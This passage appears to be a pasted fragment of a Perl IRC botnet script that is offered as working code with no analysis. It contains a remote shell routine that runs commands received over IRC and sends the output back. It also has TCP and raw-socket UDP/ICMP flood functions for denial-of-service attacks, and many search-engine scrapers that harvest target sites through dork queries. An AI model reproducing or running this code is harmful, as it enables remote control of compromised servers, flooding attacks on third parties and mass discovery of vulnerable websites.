  1356. print FILE $proc." [".$irc_servers{$IRC_cur_socket}{'nick'}."] $dork\n";
  1357. close(FILE);
  1358. }
  1359.  
  1360.  
  1361. sub delproc {
  1362.  
  1363. my $proc=$_[0];
  1364. open(FILE,"/var/tmp/pids");
  1365.  
  1366. while(<FILE>) {
  1367. $_ =~ /(\d+)\s+(.*)/;
  1368. $childs{$1}=$2;
  1369. }
  1370. close(FILE);
  1371. delete($childs{$proc});
  1372.  
  1373. open(FILE,">/var/tmp/pids");
  1374.  
  1375. for $klucz (keys %childs) {
  1376. print FILE $klucz." ".$childs{$klucz}."\n";
  1377. }
  1378. }
  1379.  
  1380. sub shell {
  1381. my $printl=$_[0];
  1382. my $comando=$_[1];
  1383. if ($comando =~ /cd (.*)/) {
  1384. chdir("$1") || msg("$printl", "No such file or directory");
  1385. return;
  1386. } elsif ($pid = fork) {
  1387. waitpid($pid, 0);
  1388. } else {
  1389. if (fork) {
  1390. exit;
  1391. } else {
  1392. my @resp=`$comando 2>&1 3>&1`;
  1393. my $c=0;
  1394. foreach my $linha (@resp) {
  1395. $c++;
  1396. chop $linha;
  1397. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1398. if ($c == "$linas_max") {
  1399. $c=0;
  1400. sleep $sleep;
  1401. }
  1402. }
  1403. exit;
  1404. }
  1405. }
  1406. }
  1407.  
  1408. sub tcpflooder {
  1409. my $itime = time;
  1410. my ($cur_time);
  1411. my ($ia,$pa,$proto,$j,$l,$t);
  1412. $ia=inet_aton($_[0]);
  1413. $pa=sockaddr_in($_[1],$ia);
  1414. $ftime=$_[2];
  1415. $proto=getprotobyname('tcp');
  1416. $j=0;$l=0;
  1417. $cur_time = time - $itime;
  1418. while ($l<1000){
  1419. $cur_time = time - $itime;
  1420. last if $cur_time >= $ftime;
  1421. $t="SOCK$l";
  1422. socket($t,PF_INET,SOCK_STREAM,$proto);
  1423. connect($t,$pa)||$j--;
  1424. $j++;
  1425. $l++;
  1426. }
  1427. $l=0;
  1428. while ($l<1000){
  1429. $cur_time = time - $itime;
  1430. last if $cur_time >= $ftime;
  1431. $t="SOCK$l";
  1432. shutdown($t,2);
  1433. $l++;
  1434. }
  1435. }
  1436.  
  1437. sub udpflooder {
  1438. my $iaddr = inet_aton($_[0]);
  1439. my $msg = 'A' x $_[1];
  1440. my $ftime = $_[2];
  1441. my $cp = 0;
  1442. my (%pacotes);
  1443. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1444. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1445. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1446. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1447. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1448. return(undef) if $cp == 4;
  1449. my $itime = time;
  1450. my ($cur_time);
  1451. while ( 1 ) {
  1452. for (my $porta = 1; $porta <= 65000; $porta++) {
  1453. $cur_time = time - $itime;
  1454. last if $cur_time >= $ftime;
  1455. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  1456. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  1457. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  1458. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  1459. for (my $pc = 3; $pc <= 255;$pc++) {
  1460. next if $pc == 6;
  1461. $cur_time = time - $itime;
  1462. last if $cur_time >= $ftime;
  1463. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1464. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  1465. }
  1466. }
  1467. last if $cur_time >= $ftime;
  1468. }
  1469. return($cur_time, %pacotes);
  1470. }
  1471.  
  1472. sub ctcp {
  1473. return unless $#_ == 1;
  1474. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1475. }
  1476.  
  1477. sub msg {
  1478. return unless $#_ == 1;
  1479. sendraw("PRIVMSG $_[0] :$_[1]");
  1480. }
  1481.  
  1482. sub notice {
  1483. return unless $#_ == 1;
  1484. sendraw("NOTICE $_[0] :$_[1]");
  1485. }
  1486.  
  1487. sub op {
  1488. return unless $#_ == 1;
  1489. sendraw("MODE $_[0] +o $_[1]");
  1490. }
  1491.  
  1492. sub deop {
  1493. return unless $#_ == 1;
  1494. sendraw("MODE $_[0] -o $_[1]");
  1495. }
  1496.  
  1497. sub j {
  1498. &join(@_);
  1499. }
  1500.  
  1501. sub join {
  1502. return unless $#_ == 0;
  1503. sendraw("JOIN $_[0]");
  1504. }
  1505.  
  1506. sub p {
  1507. part(@_);
  1508. }
  1509.  
  1510. sub part {
  1511. sendraw("PART $_[0]");
  1512. }
  1513.  
  1514. sub nick {
  1515. return unless $#_ == 0;
  1516. sendraw("NICK $_[0]");
  1517. }
  1518.  
  1519. sub quit {
  1520. sendraw("QUIT :$_[0]");
  1521. }
  1522.  
  1523. sub fetch(){
  1524. my $rnd=(int(rand(9999)));
  1525. my $n= 80;
  1526. if ($rnd<5000) {
  1527. $n<<=1;
  1528. }
  1529. my $s= (int(rand(10)) * $n);
  1530. my @dominios = ("removed-them-all");
  1531. my @str;
  1532. foreach $dom (@dominios){
  1533. push (@str,"@gstring");
  1534. }
  1535. my $query="www.google.com/search?q=";
  1536. $query.=$str[(rand(scalar(@str)))];
  1537. $query.="&num=$n&start=$s";
  1538. my @lst=();
  1539. sendraw("privmsg #debug :DEBUG only test googling: ".$query."");
  1540. my $page = http_query($query);
  1541. while ($page =~ m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){
  1542. if ($1 !~ m/google|cache|translate/){
  1543. push (@lst,$1);
  1544. }
  1545. }
  1546. return (@lst);
  1547.  
  1548. sub yahoo(){
  1549. my @lst;
  1550. my $key = $_[0];
  1551. for($b=1;$b<=1000;$b+=100){
  1552. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1553. my $Res=query($Ya);
  1554. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1555. my $k=$1;
  1556. $k=~s/<b>//g;
  1557. $k=~s/<\/b>//g;
  1558. $k=~s/<wbr>//g;
  1559. my @grep=links($k);
  1560. push(@lst,@grep);
  1561. }}
  1562. return @lst;
  1563. }
  1564.  
  1565. sub msn(){
  1566. my @lst;
  1567. my $key = $_[0];
  1568. for($b=1;$b<=1000;$b+=10){
  1569. my $msn=("http://search.msn.de/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
  1570. my $Res=query($msn);
  1571. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1572. if($1 !~ /msn|live/){
  1573. my $k=$1;
  1574. my @grep=links($k);
  1575. push(@lst,@grep);
  1576. }}}
  1577. return @lst;
  1578. }
  1579.  
  1580. sub lycos(){
  1581. my $inizio=0;
  1582. my $pagine=20;
  1583. my $key=$_[0];
  1584. my $av=0;
  1585. my @lst;
  1586. while($inizio <= $pagine){
  1587. my $lycos="http://search.lycos.com/?query=".key($key)."&page=$av";
  1588. my $Res=query($lycos);
  1589. while ($Res=~ m/<span class=\"?grnLnk small\"?>http:\/\/(.+?)\//g ){
  1590. my $k="$1";
  1591. my @grep=links($k);
  1592. push(@lst,@grep);
  1593. }
  1594. $inizio++;
  1595. $av++;
  1596. }
  1597. return @lst;
  1598. }
  1599.  
  1600. #####
  1601. sub aol(){
  1602. my @lst;
  1603. my $key = $_[0];
  1604. for($b=1;$b<=100;$b++){
  1605. my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
  1606. my $Res=query($AoL);
  1607. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  1608. my $k=$1;
  1609. my @grep=links($k);
  1610. push(@lst,@grep);
  1611. }}
  1612. return @lst;
  1613. }
  1614. #####
  1615. sub ask(){
  1616. my @lst;
  1617. my $key=$_[0];
  1618. my $i=0;
  1619. my $pg=0;
  1620. for($i=0; $i<=1000; $i+=10)
  1621. {
  1622. my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
  1623. my $Res=query($Ask);
  1624. while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
  1625. my $k=$3;
  1626. $k=~s/[\"\ ]//g;
  1627. my @grep=links($k);
  1628. push(@lst,@grep);
  1629. }}
  1630. return @lst;
  1631. }
  1632. #####
  1633. sub alltheweb()
  1634. {
  1635. my @lst;
  1636. my $key=$_[0];
  1637. my $i=0;
  1638. my $pg=0;
  1639. for($i=0; $i<=1000; $i+=100)
  1640. {
  1641. my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  1642. my $Res=query($all);
  1643. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  1644. my $k=$1;
  1645. $k=~s/ //g;
  1646. my @grep=links($k);
  1647. push(@lst,@grep);
  1648. }}
  1649. return @lst;
  1650. }
  1651.  
  1652. sub google(){
  1653. my @lst;
  1654. my $key = $_[0];
  1655. for($b=0;$b<=100;$b+=100){
  1656. my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
  1657. my $Res=query($Go);
  1658. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1659. if ($1 !~ /google/){
  1660. my $k=$1;
  1661. my @grep=links($k);
  1662. push(@lst,@grep);
  1663. }}}
  1664. return @lst;
  1665. }
  1666.  
  1667. #####
  1668. # SUBS SEARCH
  1669. #####
  1670. sub search(){
  1671. my @lst;
  1672. my $key = $_[0];
  1673. for($b=0;$b<=1000;$b+=100){
  1674. my $ser=("http://www.search.com/search?q=".key($key)."".$b);
  1675. my $Res=query($ser);
  1676. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1677. if ($1 !~ /msn|live|google|yahoo/){
  1678. my $k=$1;
  1679. my @grep=links($k);
  1680. push(@lst,@grep);
  1681. }}}
  1682. return @lst;
  1683. }
  1684.  
  1685. #####
  1686. # SUBS FireBall
  1687. #####
  1688. sub fireball(){
  1689. my $key=$_[0];
  1690. my $inicio=1;
  1691. my $pagina=200;
  1692. my @lst;
  1693. my $av=0;
  1694. while($inicio <= $pagina){
  1695. my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
  1696. my $Res=query($fireball);
  1697. while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
  1698. if ($1 !~ /msn|live|google|yahoo/){
  1699. my $k="$1/";
  1700. my @grep=links($k);
  1701. push(@lst,@grep);
  1702. }}
  1703. $av=$av+10;
  1704. $inicio++;
  1705. }
  1706. return @lst;
  1707. }
  1708. #####
  1709. # SUBS UOL
  1710. #####
  1711. sub uol(){
  1712. my @lst;
  1713. my $key = $_[0];
  1714. for($b=1;$b<=1000;$b+=10){
  1715. my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
  1716. my $Res=query($UoL);
  1717. while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
  1718. my $k=$1;
  1719. if($k!~/busca|uol|yahoo/){
  1720. my $k=$1;
  1721. my @grep=links($k);
  1722. push(@lst,@grep);
  1723. }}}
  1724. return @lst;
  1725. }
  1726.  
  1727. #####
  1728. # Altavista
  1729. #####
  1730. sub altavista(){
  1731. my @lst;
  1732. my $key = $_[0];
  1733. for($b=1;$b<=1000;$b+=10){
  1734. my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1735. my $Res=query($AlT);
  1736. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1737. if($1 !~ /altavista/){
  1738. my $k=$1;
  1739. $k=~s/<//g;
  1740. $k=~s/ //g;
  1741. my @grep=links($k);
  1742. push(@lst,@grep);
  1743. }}}
  1744. return @lst;
  1745. }
  1746.  
  1747. sub altavistade(){
  1748. my @lst;
  1749. my $key = $_[0];
  1750. for($b=1;$b<=1000;$b+=10){
  1751. my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1752. my $Res=query($AlT);
  1753. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1754. if($1 !~ /altavista/){
  1755. my $k=$1;
  1756. $k=~s/<//g;
  1757. $k=~s/ //g;
  1758. my @grep=links($k);
  1759. push(@lst,@grep);
  1760. }}}
  1761. return @lst;
  1762. }
  1763.  
  1764. sub altavistaus(){
  1765. my @lst;
  1766. my $key = $_[0];
  1767. for($b=1;$b<=1000;$b+=10){
  1768. my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1769. my $Res=query($AlT);
  1770. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1771. if($1 !~ /altavista/){
  1772. my $k=$1;
  1773. $k=~s/<//g;
  1774. $k=~s/ //g;
  1775. my @grep=links($k);
  1776. push(@lst,@grep);
  1777. }}}
  1778. return @lst;
  1779. }
  1780.  
  1781. #####
  1782. # HotBot
  1783. #####
  1784. sub hotbot(){
  1785. my @lst;
  1786. my $key = $_[0];
  1787. for($b=0;$b<=1000;$b+=100){
  1788. my $hot=("http://search.hotbot.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=hb_loc&enc=utf-8".$b);
  1789. my $Res=query($hot);
  1790. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1791. if ($1 !~ /msn|live|google|yahoo/){
  1792. my $k=$1;
  1793. my @grep=links($k);
  1794. push(@lst,@grep);
  1795. }}}
  1796. return @lst;
  1797. }
  1798.  
  1799.  
  1800. #####
  1801. # Mamma
  1802. #####
  1803. sub mamma(){
  1804. my @lst;
  1805. my $key = $_[0];
  1806. for($b=0;$b<=1000;$b+=100){
  1807. my $mam=("http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=".key($key)."".$b);
  1808. my $Res=query($mam);
  1809. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1810. if ($1 !~ /msn|live|google|yahoo/){
  1811. my $k=$1;
  1812. my @grep=links($k);
  1813. push(@lst,@grep);
  1814. }}}
  1815. return @lst;
  1816. }
  1817.  
  1818. #####
  1819. # MozBot
  1820. #####
  1821. sub mozbot()
  1822. {
  1823. my @lst;
  1824. my $key=$_[0];
  1825. my $i=0;
  1826. my $pg=0;
  1827. for($i=0; $i<=100; $i+=1){
  1828. my $mozbot=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$i);
  1829. my $Res=query($mozbot);
  1830. while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){
  1831. my $k=$1;
  1832. $k=~s/ //g;
  1833. my @grep=links($k);
  1834. push(@lst,@grep);
  1835. }}
  1836. return @lst;
  1837. }
  1838.  
  1839. sub links()
  1840. {
  1841. my @l;
  1842. my $link=$_[0];
  1843. my $host=$_[0];
  1844. my $hdir=$_[0];
  1845. $hdir=~s/(.*)\/[^\/]*$/\1/;
  1846. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1847. $host.="/";
  1848. $link.="/";
  1849. $hdir.="/";
  1850. $host=~s/\/\//\//g;
  1851. $hdir=~s/\/\//\//g;
  1852. $link=~s/\/\//\//g;
  1853. push(@l,$link,$host,$hdir);
  1854. return @l;
  1855. }
  1856.  
  1857. sub geths(){
  1858. my $host=$_[0];
  1859. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1860. return $host;
  1861. }
  1862.  
  1863. sub key(){
  1864. my $chiave=$_[0];
  1865. $chiave =~ s/ /\+/g;
  1866. $chiave =~ s/:/\%3A/g;
  1867. $chiave =~ s/\//\%2F/g;
  1868. $chiave =~ s/&/\%26/g;
  1869. $chiave =~ s/\"/\%22/g;
  1870. $chiave =~ s/,/\%2C/g;
  1871. $chiave =~ s/\\/\%5C/g;
  1872. return $chiave;
  1873. }
  1874.  
  1875. sub query($){
  1876. my $url=$_[0];
  1877. $url=~s/http:\/\///;
  1878. my $host=$url;
  1879. my $query=$url;
  1880. my $page="";
  1881. $host=~s/href=\"?http:\/\///;
  1882. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1883. $query=~s/$host//;
  1884. if ($query eq "") {$query="/";};
  1885. eval {
  1886. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1887. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1888. my @r = <$sock>;
  1889. $page="@r";
  1890. close($sock);
  1891. };
  1892. return $page;
  1893. }
  1894.  
  1895. sub unici{
  1896. my @unici = ();
  1897. my %visti = ();
  1898. foreach my $elemento ( @_ )
  1899. {
  1900. next if $visti{ $elemento }++;
  1901. push @unici, $elemento;
  1902. }
  1903. return @unici;
  1904. }
  1905.  
  1906. sub http_query($){
  1907. my ($url) = @_;
  1908. my $host=$url;
  1909. my $query=$url;
  1910. my $page="";
  1911. $host =~ s/href=\"?http:\/\///;
  1912. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1913. $query =~s/$host//;
  1914. if ($query eq "") {$query="/";};
  1915. eval {
  1916. local $SIG{ALRM} = sub { die "1";};
  1917. alarm 10;
  1918. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1919. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1920. my @r = <$sock>;
  1921. $page="@r";
  1922. alarm 0;
  1923. close($sock);
  1924. };
  1925. return $page;
  1926. }}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement